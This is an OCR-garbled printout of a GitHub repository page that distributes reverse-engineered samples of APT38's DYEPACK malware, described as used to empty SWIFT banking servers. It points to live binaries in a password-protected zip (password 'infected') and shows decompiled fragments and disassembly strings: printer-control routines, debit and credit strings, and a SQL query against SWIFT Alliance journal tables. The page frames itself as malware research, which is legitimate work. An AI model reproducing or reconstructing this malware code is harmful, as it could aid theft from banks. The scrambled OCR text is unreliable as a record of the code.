https://github.com /649 /APT38-DYEPACK

GitHub - 649/APT38-DYEPACK: Reverse engineered APT38
DYEPACK samples used to empty SWIFT banking servers. Use

caution when handling live binaries.
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 Actions
* Projects
* Security and quality,
* Insights

Folders and files

Name Name Last commit message Last commit date

Latest commit

L
init
Mar 20, 2019

af3f469 - Mar 20, 2019

History

7 Commits

img img init Mar 20, 2019
sample sample init Mar 20, 2019
.gitattributes .gitattributes €7 Added . gitattributes Jan 4, 2019
-gitignore -gitignore init Jan 4, 2019
README.md README.md init Mar 20, 2019

Repository files navigation

e README
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APT38 DYEPACK FRAMEWORK

Reverse engineered using IDA Pro + Ghidra. Live binaries are in /sample/binaries.zip

Password: infected

DISCLAIMER

Samples are for malware research ONLY. Do not use decompiled versions of the framework to cause harm, I am

not responsible for any damages caused. Handle live binaries with care, and use a VM for any dynamic analysis.
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* 4050
- aSwiftInput[]

Incom[ ]

aDD5S[]
 aCtutgoingl[]
t aIncomingl[]

{ SecPrinterh (phPrinter, 0

printf (aControllingS55u,

ClosePrinter (phPrinter) ;

else
r
L

printf (aFailedTol
CloseHandle (phPrinter) ;

result = v5;

_— g
= G

tLastError () ;
printf {aFailedToOpenPr,
result = v3;

return result;

https://github.com /649 /APT38-DYEPACK

tphPrinter, &pDefault)

0, pPrinter, Command) )

PPrinterName) ;
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align
db 'Debit’,®

lign
db 'Credit',@
db "RP Purcth

' oo
el

PrefixString db

aCIedd db
align

db 'FEDERAL R
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align

aControllingSsu db 'Controlling "%s"™ success.',8ah,@

align

aFailedToContro db 'Failed to control printer. cmd=¥d, err=¥d',8Ah,8

align

aFailedToOpenPr db 'Failed to open printer. err=%d',8Ah,8

aSubmitted8ddd2 db 'Submitted : ¥84d-¥e2d-¥e2d ¥02d:¥e2d:%82d',847h,8

aPositionD

aTmp

2 asql

alogin

aselectFromsele

alogout

szVerb

szVersion

ass_o

About

align
db 'Position : %d',84h,8
align
db 'Priority : %d',84h,8
align

db 'wt',@

align

db "TMP',®

db 'sQL',@

db 'Login',@
align

db 'SELECT * FROM (SELECT JRNL_DISPLAY TEXT, JRNL_DATE_TIME FROM SAAOQ'
db "WNER.JRNL_%s WHERE JRNL_DISPLAY TEXT LIKE ',27h, '%%LT BBHOBDDHA: '
db ‘Log¥¥',27h," ORDER BY JRNL_DATE TIME DESC) A WHERE ROWNUM = 1;',8
align

db 'Logout',@
align

db 'GET',@

db 'HTTP/1.1',8
align

db '/¥s?%s',@
align

Reverse engineered APT38 DYEPACK samples used to empty SWIFT banking servers. Use caution when

handling live binaries.

Resources

Readme
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Activity

Stars

23 stars

Watchers

2 watching

Forks

9 forks

Source: https://github.com/649/APT38-DYEPACK

Page 8 of 8


https://github.com/649/APT38-DYEPACK/activity
https://github.com/649/APT38-DYEPACK/stargazers
https://github.com/649/APT38-DYEPACK/stargazers
https://github.com/649/APT38-DYEPACK/watchers
https://github.com/649/APT38-DYEPACK/watchers
https://github.com/649/APT38-DYEPACK/forks
https://github.com/649/APT38-DYEPACK/forks

